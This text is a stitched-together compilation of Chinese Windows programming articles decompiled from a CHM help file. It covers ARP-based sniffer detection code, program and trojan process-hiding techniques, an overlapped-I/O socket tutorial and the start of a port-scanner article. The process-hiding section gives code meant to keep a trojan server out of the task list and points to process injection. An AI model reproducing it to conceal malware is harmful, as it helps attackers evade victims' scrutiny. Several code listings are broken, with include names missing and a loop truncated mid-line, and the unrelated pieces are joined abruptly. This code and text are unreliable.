FF-FF-FF-FF-FF-FF：这个是一个正规的广播地址，不管是正常模式还是其他模式，都会被网卡接收并传递给
系统核心。
FF-FF-FF-FF-FF-00：这个地址对于网卡来说，不是一个广播地址，在正常模式下会被网卡抛弃，但是系统核
心是认为这个地址同FF-FF-FF-FF-FF-FF是完全一样的。如果处于混杂模式，将被系统核心接收，并认为是一
个广播地址。所有的Windows操作系统都是如此。
FF-FF-00-00-00-00：Windows核心只对前面两字节作判断，核心认为这是一个同FF-FF-FF-FF-FF-FF一样的广
播地址。这就是为什么FF-FF-FF-FF-FF-00也是广播地址的原因。
FF-00-00-00-00-00：对于Win9x或WinME，则是检查前面的一个字节。因此会认为这个是一个广播地址。

而对于LINUX内核，我则不清楚，不过从一些资料得到会判断一个group bit，不清楚具体什么意思，但是
基本上就是认为FF-00-00-00-00-00，是FF-FF-FF-FF-FF-FF一个类别的吧。（望熟悉LINUX者指点）

所以，目的就要让正常模式的网卡抛弃掉探测包，而让混杂模式的系统核心能够处理探测。发送一个目的
地址为：FF-FF-FF-FF-FF-FE（系统会认为属于广播地址）的ARP请求，对于普通模式（广播等）的网卡，这个
地址不是广播地址，就会直接抛弃，而如果处于混杂模式，那么ARP请求就会被系统核心当作广播地址处理，然
后提交给sniffer程序。系统核心就会应答这个ARP请求。

antisniffer也采用了这样的策略进行检测。

下面这个例子就是FF-FF-FF-FF-FF-FE的ARP请求，可以对网络中的每个节点都发送这样的ARP请求。如果有
一般的sniffer存在，并设置网卡为混杂模式，那么系统核心就会作出应答，可以判断这些节点是否存在嗅探器
了。这种检测办法也是有局限的，对于那些修改内核的sniffer，就没有办法了，不过这种Sniffer毕竟属于少数
还有就是Win2k中一些动态加载的包捕获驱动（WinPcap就是），可能会让没有在混杂模式的网卡也作出响应。

#include "stdafx.h"
#include
        "Mac.h" //GetMacAddr()，我写的把字符串转换为MAC地址的函数，就不列在这里了
#include
#include
#include
#include
#include
#include

#pragma comment (lib, "packet.lib")
#pragma comment
        (lib, "ws2_32.lib")

#define
        EPT_IP  0x0800   /* type: IP */
#define EPT_ARP  0x0806   /* type: ARP */
#define EPT_RARP 0x8035   /* type: RARP */
#define ARP_HARDWARE    0x0001   /*
        Dummy type for 802.3 frames  */
#define ARP_REQUEST 0x0001   /* ARP request
        */
#define ARP_REPLY 0x0002   /* ARP reply
        */

#define Max_Num_Adapter 10

#pragma
        pack(push, 1)

typedef struct ehhdr
{
unsigned
        char eh_dst[6];  /* destination ethernet addrress */
unsigned char eh_src[6];  /* source ethernet addresss
        */
unsigned short eh_type;  /* ethernet pachet
        type */
}EHHDR, *PEHHDR;

typedef struct
        arphdr
{
unsigned short arp_hrd;   /* format
        of hardware address */
unsigned
        short arp_pro;   /* format of protocol address */
unsigned char arp_hln;   /* length of hardware
        address */
unsigned char arp_pln;   /* length of
        protocol address */
unsigned
        short arp_op;    /* ARP/RARP operation */

unsigned char arp_sha[6];   /* sender
        hardware address */
unsigned long arp_spa;   /*
        sender protocol address */
unsigned
        char arp_tha[6];   /* target hardware address */
unsigned long arp_tpa;   /* target protocol
        address */
}ARPHDR, *PARPHDR;

typedef struct
        arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
}
        ARPPACKET, *PARPPACKET;

#pragma pack(pop)

//the thread for listening
void ListenThread(void*
        Adapter);
//the function of sending packet
void
        SendARPPacket(void* Adapter);
BOOL DetectIsSniffer(LPPACKET
        lpPacket);

char g_szMyMacAddr[] = "AAAAAAAAAAAA";
char
        g_szMyIP[]      = "192.168.1.1";
char
        g_szTargetIP[]  = "192.168.1.2";

int main(int argc,
        char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
LPADAPTER lpAdapter;
WCHAR  AdapterName[2048];
WCHAR  *temp,*temp1;

ULONG AdapterLength =
        1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) ==
        FALSE)
{
printf("Unable to retrieve the list of the
        adapters!\n");
return 0;
}

temp = AdapterName;
temp1 = AdapterName;
i = 0;
while ((*temp !=
        '\0')||(*(temp-1) != '\0'))
{
if (*temp == '\0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1 = temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i wprintf(L"\n%d- %s\n", i+1, AdapterList[i]);
printf("\n");

//Default open the 0
lpAdapter =
        (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
if
        (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver,
        Error Code : %lx\n", nRetCode);
return 0;
}

//begin listening
_beginthread(ListenThread, 0,
        (void*) lpAdapter);

Sleep(500);

//send the
        packet
_beginthread(SendARPPacket, 0, (void*) lpAdapter);

Sleep(2000);

printf ("\n\nDetecting
        end.\n");

// close the adapter and exit
PacketCloseAdapter(lpAdapter);

return 0;
}

void SendARPPacket(void* Adapter)
{
char
        MacAddr[6];
char szPacketBuf[600];
LPADAPTER lpAdapter =
        (LPADAPTER) Adapter;
LPPACKET lpPacket;
ARPPACKET
        ARPPacket;

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("\nError:failed to allocate
        the LPPACKET structure.\n");
return;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

// the fake mac of multicast
if
        (!GetMacAddr("FFFFFFFFFFFE", MacAddr))
{
printf ("Get Mac
        address error!\n");
goto Exit0;
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6);

//the MAC
        of sender
if (!GetMacAddr(g_szMyMacAddr, MacAddr))
{
printf
        ("Get Mac address error!\n");
goto Exit0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6);

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

//arp header
ARPPacket.arphdr.arp_hrd =
        htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REQUEST);

if
        (!GetMacAddr(g_szMyMacAddr, MacAddr))
{
printf ("Get Mac address
        error!\n");
goto Exit0;
}
memcpy(ARPPacket.arphdr.arp_sha,
        MacAddr, 6);
ARPPacket.arphdr.arp_spa = inet_addr(g_szMyIP);

if (!GetMacAddr("000000000000", MacAddr))
{
printf
        ("Get Mac address error!\n");
goto Exit0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6);
ARPPacket.arphdr.arp_tpa = inet_addr(g_szTargetIP);

memcpy(szPacketBuf, (char*)&ARPPacket,
        sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 1)==FALSE)
{
printf("warning: Unable to send more than one packet in a single
        write!\n");
}

if(PacketSendPacket(lpAdapter, lpPacket,
        TRUE)==FALSE)
{
printf("Error sending the packets!\n");
goto
        Exit0;
}

printf ("Send ok!\n\n");

Exit0:
PacketFreePacket(lpPacket);
_endthread();
}

void ListenThread(void* Adapter)
{
LPPACKET
        lpPacket;
LPADAPTER lpAdapter = (LPADAPTER) Adapter;
char
        buffer[256000];

if((lpPacket =
        PacketAllocatePacket())==NULL){
printf("\nError: failed to allocate
        the LPPACKET structure.");
return;
}
PacketInitPacket(lpPacket,(char*)buffer,256000);

//
        set the network adapter in promiscuous mode

if(PacketSetHwFilter(lpAdapter,
        NDIS_PACKET_TYPE_DIRECTED)==FALSE){
printf("Warning: unable to set
        promiscuous mode!\n");
}

// set buffer in the driver
if(PacketSetBuff(lpAdapter,512000)==FALSE){
printf("Unable to
        set the kernel buffer!\n");
return;
}

// set
        second read timeout
if(PacketSetReadTimeout(lpAdapter, 200)==FALSE){
printf("Warning: unable to set the read tiemout!\n");
}
//main capture loop
printf("Listen....\n");
while(true)
{
// capture the packets
if(PacketReceivePacket(lpAdapter,
        lpPacket, TRUE)==FALSE){
printf("Error: PacketReceivePacket
        failed");
return ;
}
//
DetectIsSniffer(lpPacket);
}

PacketFreePacket(lpPacket);

// close the
        adapter and exit
PacketCloseAdapter(lpAdapter);
_endthread();
}

BOOL DetectIsSniffer(LPPACKET lpPacket)
{
BOOL bFlag = FALSE;
PARPHDR pARPHeader;
PARPPACKET
        pARPPacket;
char MacAddr[6];

GetMacAddr(g_szMyMacAddr,
        MacAddr);
pARPPacket = (PARPPACKET) ((char*)lpPacket->Buffer +
        20);

if (pARPPacket->ehhdr.eh_type == htons(EPT_IP))
return FALSE;

if
        (strcmp((char*)(pARPPacket->ehhdr.eh_dst), MacAddr) == 0
&& pARPPacket->ehhdr.eh_type == htons(EPT_ARP))
{
char szTemp[10];

pARPHeader =
        (PARPHDR)((char*)lpPacket->Buffer + 20 + sizeof(EHHDR));

memcpy(szTemp, &pARPHeader->arp_spa,
        sizeof(pARPHeader->arp_spa));
printf ("A PROMISCUOUS NODE
        EXISTS!!\n");
printf ("\tIP:%s\n\n", inet_ntoa(*((struct in_addr
        *)(szTemp))));
return TRUE;
}
return FALSE;
}

Reference:

1、Securiteam
        《Detecting sniffers on your network》、
《AntiSniff - find sniffers on
        your local network》
2、l0pht.com的Antisniffer说明书

This file is decompiled
        by an unregistered version of ChmDecompiler.
Regsitered version does
        not show this message.
You can download ChmDecompiler at : http://www.zipghost.com/


进程隐藏技术详解

：如何让程序在后台运行??help!!!有什么方法或软件可以让程序在后台运行,而不会弹出窗口???(我用的是windows系统)
答：问题猜解：是否在你开了很多程序，或者网页后发现有很多窗口显示，觉得很恼火呢？如果你想不会弹出窗口，那就最小化，自然不见弹出窗口了。它也是在后台运行了，而且没有弹出窗口，但我想你问的问题可能不是证明简单，我们可以延伸下：
问题延伸：是否在你开了很多程序，或者网页后发现有很多窗口显示，在任务栏有很多窗口图标，这些是很烦恼的事情，你一定也想去掉这些窗口。
1，在软件开发过程中相关的窗口属性原本就有相应设置。比如豪杰，比如qq它们都可以在软件自身功能项中实现“窗口总在最前运行”，去掉即可。又比如Serv-U由两大部分组成，引擎和用户界面。Serv-U引擎（ServUDaemon.exe）其实是一个常驻后台的程序，也是Serv-U整个软件的心脏部分，它负责处理来自各种FTP客户端软件的FTP命令，也是负责执行各种文件传送的软件。在运行Serv-U引擎也就是ServUDaemon.exe文件后，我们看不到任何的用户界面，它只是在后台运行，通常我们无法影响它，但在ServUAdmin.exe中我们可以停止和开始它。另外木马程序的Server端为了隐藏自己，必须在设计中做到不让自己显示到任务栏或者系统进程控制器中，同时还不会影响其他程序的正常运行，当使用者电脑处于断线状态下，Server段不会发送任何信息到预设的端口上，而会自动检测网络状态直到网络连接好，Server会通过email或者其他形式将Server端系统资料通知Client端，同时接收Client发送出来的请求。
2，对qq用户来说。要隐藏起来了？怕领导或长辈老师看见，呵呵。想挂QQ，但别人发现了就关，有什么办法能把QQ任务栏的图标隐藏起来吗？答案是有，很简单，启动QQ，用鼠标单击QQ窗口左下角的主菜单，在弹出的快捷菜单中选“系统参数”，弹出“QQ参数设置”对话框，在“参数设置”标签中，取消“在任务栏显示图标”、“自动弹出信息”选择，选择“使用热键”复选项，您还可以选择“自定义热键”定义自己的热键，在“声音设置”标签中，选择“声音开关”中的“关闭声音”。另外把QQ用鼠标点住拉到屏幕顶部,它会自动隐藏的!用时`把鼠标放在那个位置就会出来。
3，对其他用户，在上班或者上课怕他人看见，可以使用软件实现彻底隐藏。
“任务栏”是Windows桌面底部一条灰色的区域，其左边是“开始”按钮，右边有一个小窗口显示时间、输入法等图标，也称为系统托盘。根据操作系统与软件安装与配置的不同，在“任务栏”上具有不同的图标，而且根据个人的需要和喜好我们也可以自定义“任务栏”内容。Windows 任务栏有自动隐藏功能：在任务栏空白处单击鼠标右键，选择“属性”，然后选中“自动隐藏任务栏”前的复选框再单击“确定”退出即可。但这个功能总让人感觉不太完美，原因是任务栏隐藏的不太好，总会在屏幕最底下留着一条线（露出一个“尾巴”），这给有些工作带来麻烦，比如你要用Print Screen 键截图的话，还要去掉那条线。网上找的一款名为TaskbarHide的免费软件，其主程序只有200多KB，最新版本为1.2b，http://home4.inet.tele.dk/mbresson/tbhide/tbhid12b.zip。
    下载后得到一个只有三个文件的压缩包，直接解压缩后双击执行文件，你会发现任务栏最右侧的系统托盘处出现了T 型图标，同时你会看到任务栏已经自动隐藏了，而且隐藏得非常彻底，不留一丝的痕迹。当我们把鼠标移到屏幕底部时，任务栏会自动弹出，比原来灵敏多了！
如果你想停止自动隐藏的话，只要用鼠标单击T 型图标即可，比原来方便得多。如果你想退出TaskbarHide，直接用鼠标右键点击T 型图标，从弹出的菜单中选择“Close”命令。怎么样，有了TaskbarHide，可以让Windows 自带的任务栏隐藏功能下岗了吧！
4，对编程爱好者来说，让程序通过按一组合键就隐藏到后台运行，再按一次又到前台。
可以通过hide和show来实现。首先，我们看一个术语，系统托盘是任务栏上一个很小的区域，隐藏在那儿的程序只显示小图标，比如说你的Outlook在收取新邮件的时候。任务栏是一个贯穿屏幕的工具条(ToolBar)。程序的图标就放在那儿，要隐藏任务栏图标，你可以用Application->Handle 调用API函数
ShowWindow。
ShowWindow(Application->Handle, SW_HIDE);
你想重新显示图标，简单地改变SW_HIDE而代之以SW_SHOW.
ShowWindow(Application->Handle, SW_SHOW);
注意：你可以通过设置主窗体的Visible 属性的值为false来隐藏它。
注意：用ShowWindow隐藏任务栏图标并不长久，某几个动作将使得任务栏图标重新出现。你可以移去程序的任务栏图标并让它不再出现，就是使应用程序的窗口成为工具窗口(Tool Windows)。工具窗口是不会有任务栏图标的,但是这样做有一个缺点就是程序不会在ALT+TAB中出现。把应用程序窗口编程工具窗口用的是API函数GetWindowLong和SetWindowLong
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR,
        int)
{
DWORD dwExStyle =
        GetWindowLong(Application->Handle,
        GWL_EXSTYLE);
dwExStyle |=
        WS_EX_TOOLWINDOW;
SetWindowLong(Application->Handle, GWL_EXSTYLE,
        dwExStyle);
    try
{
Application->Initialize();
Application->CreateForm(__classid(TForm1),
        &Form1);
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
5，对黑客爱好者来说，木马程序的隐藏技术当然很受欢迎。
木马程序的服务器端，为了避免被发现，多数都要进行隐藏处理，下面让我们来看看木马是如何实现隐藏的。 说到隐藏，首先得先了解三个相关的概念：进程，线程和服务。我简单的解释一下。
    进程：一个正常的Windows应用程序，在运行之后，都会在系统之中产生一个进程 ，同时，每个进程，分别对应了一个不同的PID（Progress ID, 进程标识符）这个进程会被系统分配一个虚拟的内存空间地址段，一切相关的程序操作，都会在这个虚拟的空间中进行。
线程：一个进程，可以存在一个或多个线程，线程之间同步执行多种操作，一般地，线程之间是相互独立的，当一个线程发生错误的时候，并不一定会导致整个进程的崩溃。
    服务：一个进程当以服务的方式工作的时候，它将会在后台工作，不会出现在任务列表中，但是，在Windows NT/2000下，你仍然可以通过服务管理器检查任何的服务程 序是否被启动运行。
    想要隐藏木马的服务器端，可以伪隐藏，也可以是真隐藏。伪隐藏，就是指程序的 进程仍然存在，只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失，不以 一个进程或者服务的方式工作。
伪隐藏的方法，是比较容易实现的，只要把木马服务器端的程序注册为一个服务就可以了，这样，程序就会从任务列表中消失了，因为系统不认为他是一个进程，当按下Ctrl+Alt+Delete的时候，也就看不到这个程序。但是，这种方法只适用于Windows9x的系统 ，对于Windows NT,Windows 2000等，通过服务管理器，一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗？当然还有办法，那就是API的拦截技术，通过建立一个后台的系统钩子，拦截PSAPI的EnumProcessModules 等相关的函数来实现对进程和服务的遍历调用的控制，当检测到进程ID（PID）为木马程序的服务器端进程的时候直接跳过，这样就实现了进程的隐藏，金山词霸等软件，就是使用了类似的方法，拦截了TextOutA,TextOutW函数，来截获屏幕输出，实现即时翻译的。同样，这种方法也可以用在进程隐藏上。
当进程为真隐藏的时候，那么这个木马的服务器部分程序运行之后，就不应该具备一般进程，也不应该具备服务的，也就是说，完全的溶进了系统的内核。也许你会觉得奇怪，刚刚不是说一个应用程序运行之后，一定会产生一个进程吗？的确，所以我们可以不把他做成一个应用程序，而把他做为一个线程，一个其他应用程序的线程，把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说，是一个绝对安全的程序，这样，就达到了彻底隐藏的效果，这样的结果，导致了查杀黑客程序难度的增加。
出于安全考虑，我只给出一种通过注册服务程序，实现进程伪隐藏的方法，对于更复杂 ，高级的隐藏方法，比如远程线程插入其他进程的方法，请参阅 ShotGun的文章。《NT 系统下木马进程的隐藏与检测》（出自http://www.patching.net）
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
        try
        {
        DWORD dwVersion = GetVersion();
        //取得Windows的版本号
if (dwVersion >= 0x80000000)　　 // Windows
        9x隐藏任务列表
{
int (CALLBACK
        *rsp)(DWORD,DWORD);
HINSTANCE
        dll=LoadLibrary("KERNEL32.DLL");//装入KERNEL32.DLL
rsp=(int(CALLBACK
*)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");
//找到RegisterServiceProcess的入口
rsp(NULL,1);
        //注册服务
FreeLibrary(dll);　  //释放DLL模块
}
}
catch (Exception &exception)　  //处理异常事件
{
//处理异常事件
        }
        return 0;
}


玩转SOCKET模型之重叠I/O篇

文章作者：PiggyXP(小猪)
手把手教你玩转SOCKET模型之重叠I/O篇（上）
“身为一个初学者，时常能体味到初学者入门的艰辛，所以总是想抽空作点什么来尽我所能的帮助那些需要帮助的人。我也希望大家能把自己的所学和他人一起分享，不要去鄙视别人索取时的贪婪，因为最应该被鄙视的是不肯付出时的吝啬。”
----- 题记 By PiggyXP(小猪)
前 言
其实我首先应该道歉，因为7月份的时候曾信誓旦旦的说要写一套关于SOCKET所有模型的入门文章以及配套代码，不过没想到后天竟然被美女所迷出去度假了，刚刚回来不久。。。。。。-_-b其实那些模型的配套代码我已经基本写完了，只是没写配套文字，不过我想还是先从稍微难一点的模型写起吧，因为其他模型的入门毕竟要简单一些。
不过由于也是初学者，疏漏之处还望不吝指正。
本文凝聚着笔者心血，如要转载，请指明原作者及出处，谢谢！^_^
OK, Let’s go ! Have fun！! q^_^p
本文配套的示例源码下载地址
(VC.net 2003编写的多客户端MFC代码，配有详尽注释，只是简单的显示一下客户端发来的字符，稍加改进就是个聊天室了)：
http://www.haha567.com/PiggyXP/OverlappedModel.rar
(unix系统，千万注意链接大小写)
非常感谢网络版的limin兄弟为我无偿提供的空间，以及在我学习过程中给我的大力帮助与支持，真的非常感谢他，感激涕零啊~~~~~T_T
也欢迎大家光临他的Blog一起讨论网络技术
http://blog.haha567.com/
(本文假设你已经具备用SOCKET简单模型编程的能力，如果对SOCKET一无所知请关注本系列其他文章)
目录：
1． 重叠模型的优点
2． 重叠模型的基本原理
3． 关于重叠模型的基础知识
4． 重叠模型的实现步骤
5． 多客户端情况的注意事项
一． 重叠模型的优点
1. 可以运行在支持Winsock2的所有Windows平台 ,而不像完成端口只是支持NT系统。
2. 比起阻塞、select、WSAAsyncSelect以及WSAEventSelect等模型，重叠I/O(Overlapped I/O)模型使应用程序能达到更佳的系统性能。
因为它和这4种模型不同的是，使用重叠模型的应用程序通知缓冲区收发系统直接使用数据，也就是说，如果应用程序投递了一个10KB大小的缓冲区来接收数据，且数据已经到达套接字，则该数据将直接被拷贝到投递的缓冲区。
而这4种模型种，数据到达并拷贝到单套接字接收缓冲区中，此时应用程序会被告知可以读入的容量。当应用程序调用接收函数之后，数据才从单套接字缓冲区拷贝到应用程序的缓冲区，差别就体现出来了。
3. 从《windows网络编程》中提供的试验结果中可以看到，在使用了P4 1.7G Xero处理器(CPU很强啊)以及768MB的回应服务器中，最大可以处理4万多个SOCKET连接，在处理1万2千个连接的时候CPU占用率才40% 左右 ―― 非常好的性能，已经直逼完成端口了^_^
二． 重叠模型的基本原理
说了这么多的好处，你一定也跃跃欲试了吧，不过我们还是要先提一下重叠模型的基本原理。
概括一点说，重叠模型是让应用程序使用重叠数据结构(WSAOVERLAPPED)，一次投递一个或多个Winsock I/O请求。针对这些提交的请求，在它们完成之后，应用程序会收到通知，于是就可以通过自己另外的代码来处理这些数据了。
需要注意的是，有两个方法可以用来管理重叠IO请求的完成情况（就是说接到重叠操作完成的通知）：
1. 事件对象通知(event object notification)
2. 完成例程(completion routines) ,注意，这里并不是完成端口
而本文只是讲述如何来使用事件通知的的方法实现重叠IO模型，完成例程的方法准备放到下一篇讲 ：） (内容太多了，一篇写不完啊) ，如没有特殊说明，本文的重叠模型默认就是指的基于事件通知的重叠模型。
既然是基于事件通知，就要求将Windows事件对象与WSAOVERLAPPED结构关联在一起（WSAOVERLAPPED结构中专门有对应的参数），通俗一点讲，就是。。。。对了，忘了说了，既然要使用重叠结构，我们常用的send, sendto, recv, recvfrom也都要被WSASend, WSASendto, WSARecv, WSARecvFrom替换掉了， 它们的用法我后面会讲到，这里只需要注意一点，它们的参数中都有一个Overlapped参数，我们可以假设是把我们的WSARecv这样的操作操作“绑定”到这个重叠结构上，提交一个请求，其他的事情就交给重叠结构去操心，而其中重叠结构又要与Windows的事件对象“绑定”在一起，这样我们调用完WSARecv以后就可以“坐享其成”，等到重叠操作完成以后，自然会有与之对应的事件来通知我们操作完成，然后我们就可以来根据重叠操作的结果取得我们想要德数据了。
也许说了半天你还是不大明白，那就继续往后面看吧。。。。。。。-_-b，语言表达能力有限啊~~~
三． 关于重叠模型的基础知识
下面来介绍并举例说明一下编写重叠模型的程序中将会使用到的几个关键函数。
1. WSAOVERLAPPED结构
这个结构自然是重叠模型里的核心，它是这么定义的
typedef struct _WSAOVERLAPPED {
DWORD Internal;
DWORD InternalHigh;
DWORD Offset;
DWORD OffsetHigh;
WSAEVENT hEvent; // 唯一需要关注的参数，用来关联WSAEvent对象
} WSAOVERLAPPED, *LPWSAOVERLAPPED;
我们需要把WSARecv等操作投递到一个重叠结构上，而我们又需要一个与重叠结构“绑定”在一起的事件对象来通知我们操作的完成，看到了和hEvent参数，不用我说你们也该知道如何来来把事件对象绑定到重叠结构上吧？大致如下：
WSAEVENT event; // 定义事件
WSAOVERLAPPED AcceptOverlapped ; // 定义重叠结构
event = WSACreateEvent(); // 建立一个事件对象句柄
ZeroMemory(&AcceptOverlapped, sizeof(WSAOVERLAPPED)); // 初始化重叠结构
AcceptOverlapped.hEvent = event; // Done !！
2. WSARecv系列函数
在重叠模型中，接收数据就要靠它了，它的参数也比recv要多，因为要用刀重叠结构嘛，它是这样定义的：
int WSARecv(
SOCKET s, // 当然是投递这个操作的套接字
LPWSABUF lpBuffers, // 接收缓冲区，与Recv函数不同
// 这里需要一个由WSABUF结构构成的数组
DWORD dwBufferCount, // 数组中WSABUF结构的数量
LPDWORD lpNumberOfBytesRecvd, // 如果接收操作立即完成，这里会返回函数调用
// 所接收到的字节数
LPDWORD lpFlags, // 说来话长了，我们这里设置为0 即可
LPWSAOVERLAPPED lpOverlapped, // “绑定”的重叠结构
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
// 完成例程中将会用到的参数，我们这里设置为 NULL
);
返回值：
WSA_IO_PENDING ： 最常见的返回值，这是说明我们的WSARecv操作成功了，但是
I/O操作还没有完成，所以我们就需要绑定一个事件来通知我们操作何时完成
举个例子：(变量的定义顺序和上面的说明的顺序是对应的，下同)
SOCKET s;
WSABUF DataBuf; // 定义WSABUF结构的缓冲区
// 初始化一下DataBuf
#define DATA_BUFSIZE 5096
char buffer[DATA_BUFSIZE];
ZeroMemory(buffer, DATA_BUFSIZE);
DataBuf.len = DATA_BUFSIZE;
DataBuf.buf = buffer;
DWORD dwBufferCount = 1, dwRecvBytes = 0, Flags = 0;
// 建立需要的重叠结构
WSAOVERLAPPED AcceptOverlapped ;// 如果要处理多个操作，这里当然需要一个
// WSAOVERLAPPED数组
WSAEVENT event; // 如果要多个事件，这里当然也需要一个WSAEVENT数组
// 需要注意的是可能一个SOCKET同时会有一个以上的重叠请求，
// 也就会对应一个以上的WSAEVENT
Event = WSACreateEvent();
ZeroMemory(&AcceptOverlapped, sizeof(WSAOVERLAPPED));
AcceptOverlapped.hEvent = event; // 关键的一步，把事件句柄“绑定”到重叠结构上
// 作了这么多工作，终于可以使用WSARecv来把我们的请求投递到重叠结构上了，呼。。。。
WSARecv(s, &DataBuf, dwBufferCount, &dwRecvBytes,
&Flags, &AcceptOverlapped, NULL);
其他的函数我这里就不一一介绍了，因为我们毕竟还有MSDN这么个好帮手，而且在讲后面的完成例程和完成端口的时候我还会讲到一些 ^_^
3. WSAWaitForMultipleEvents函数
熟悉WSAEventSelect模型的朋友对这个函数肯定不会陌生，不对，其实大家都不应该陌生，这个函数与线程中常用的WaitForMultipleObjects函数有些地方还是比较像的，因为都是在等待某个事件的触发嘛。
因为我们需要事件来通知我们重叠操作的完成，所以自然需要这个等待事件的函数与之配套。
DWORD WSAWaitForMultipleEvents(
DWORD cEvents, // 等候事件的总数量
const WSAEVENT* lphEvents, // 事件数组的指针
BOOL fWaitAll, // 这个要多说两句：
// 如果设置为 TRUE，则事件数组中所有事件被传信的时候函数才会返回
// FALSE则任何一个事件被传信函数都要返回
// 我们这里肯定是要设置为FALSE的
DWORD dwTimeout, // 超时时间，如果超时，函数会返回 WSA_WAIT_TIMEOUT
// 如果设置为0，函数会立即返回
// 如果设置为 WSA_INFINITE只有在某一个事件被传信后才会返回
// 在这里不建议设置为WSA_INFINITE，因为。。。后面再讲吧..-_-b
BOOL fAlertable // 在完成例程中会用到这个参数，这里我们先设置为FALSE
);
返回值：
WSA_WAIT_TIMEOUT ：最常见的返回值，我们需要做的就是继续Wait
WSA_WAIT_FAILED ： 出现了错误，请检查cEvents和lphEvents两个参数是否有效
如果事件数组中有某一个事件被传信了，函数会返回这个事件的索引值，但是这个索引值需要减去预定义值 WSA_WAIT_EVENT_0才是这个事件在事件数组中的位置。
具体的例子就先不在这里举了，后面还会讲到
注意：WSAWaitForMultipleEvents函数只能支持由WSA_MAXIMUM_WAIT_EVENTS对象定义的一个最大值，是 64，就是说WSAWaitForMultipleEvents只能等待64个事件，如果想同时等待多于64个事件，就要 创建额外的工作者线程，就不得不去管理一个线程池，这一点就不如下一篇要讲到的完成例程模型了。

4. WSAGetOverlappedResult函数
既然我们可以通过WSAWaitForMultipleEvents函数来得到重叠操作完成的通知，那么我们自然也需要一个函数来查询一下重叠操作的结果，定义如下
BOOL WSAGetOverlappedResult(
SOCKET s, // SOCKET，不用说了
LPWSAOVERLAPPED lpOverlapped, // 这里是我们想要查询结果的那个重叠结构的指针
LPDWORD lpcbTransfer, // 本次重叠操作的实际接收(或发送)的字节数
BOOL fWait, // 设置为TRUE，除非重叠操作完成，否则函数不会返回
// 设置FALSE，而且操作仍处于挂起状态，那么函数就会返回FALSE
// 错误为WSA_IO_INCOMPLETE
// 不过因为我们是等待事件传信来通知我们操作完成，所以我们这里设
// 置成什么都没有作用…..-_-b 别仍鸡蛋啊，我也想说得清楚一些…
LPDWORD lpdwFlags // 指向DWORD的指针，负责接收结果标志
);
这个函数没什么难的，这里我们也不需要去关注它的返回值，直接把参数填好调用就可以了，这里就先不举例了
唯一需要注意一下的就是如果WSAGetOverlappedResult完成以后，第三个参数返回是 0 ，则说明通信对方已经关闭连接，我们这边的SOCKET, Event之类的也就可以关闭了。


一个简单的端口扫描程序题

一、TCP扫描技术
    常用的端口扫描技术有很多种，如 TCP connect() 扫描 、TCP SYN 扫描、TCP FIN 扫描 等，网络上也有很多文章专门介绍，比如 ：http://www.antai-genecon.com/suml/zhishiyy/jingong/duankougj.htm　上就介绍了很多我的程序 所使用的最基本的扫描技术：TCP 扫描。
    操作系统提供的 connect() 系统调用，用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态，那么connect()就能成功。否则，这个端口是不能用的，即没有提供服务。这个技术的一个最大的优点是，你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度。如果对每个目标端口以线性的方式，使用单独的connect()调用，那么将会花费相当长的时间，你可以通过同时打开多个套接字，从而加速扫描。使用非阻塞 I/O 允许你设置一个低的时间用尽周期，同时观察多个套接字。但这种方法的缺点是很容易被发觉，并且被过滤掉。目标计算机的logs文件会显示一连串的连接和连接是出错的服务消息，并且能很快的使它关闭。
    作者提示：未经许可扫描他人的计算机端口属非法行为。本程序只是展示一种端口扫描技术，请不得将其用于非法目的，否则后果自负。
二、程序简介
    为了提高扫描速度，本程序采用了多线程技术和非阻塞I/O的技术。程序的主界面是一个对话框，下面是程序框架示意图：
1、全局变量：
    以下是所有全局变量的定义：
HWND g_hWnd = NULL;
        //处理消息的窗口句柄
unsigned long g_ulAddr = INADDR_NONE; //扫描的主机地址
DWORD
        g_dwTimeOut = 1000; //连接超时时间，以ms计
bool g_bTerminate = false;
        //是否用户发出结束扫描的标志
short g_nMaxThread = 200;
        //最大允许的扫描线程数，经试验不宜大于200
short g_nThreadCount = 0;
        //当前正在扫描的进程数
2、StartScan 线程：
    这个线程完成的任务是启动具体的扫描DoScanPort线程，对某一个端口进行扫描。该进程启动的DoScanPort线程的最大数量在设定的值范围内，如果线程数已达最大，则会等待某些线程结束后再启动新的线程。如果用户发出结束扫描信息，则不再启动新的线程，而等待已启动的线程结束后返回。下面是这线程的执行体代码：
DWORD WINAPI StartScan(LPVOID lpParam)
{
tag_PORTS* pScanParam = (tag_PORTS*)lpParam;

DWORD dwThreadId;
unsigned short i;
if (pScanParam->bSepecifiedPort)
{
for(i=0; i<=pScanParam->nCount; i++)
{
if (g_bTerminate)
{
break; //用户已发出结束扫描命令
}
while(g_nThreadCount >= g_nMaxThread)
{
Sleep(10);
}

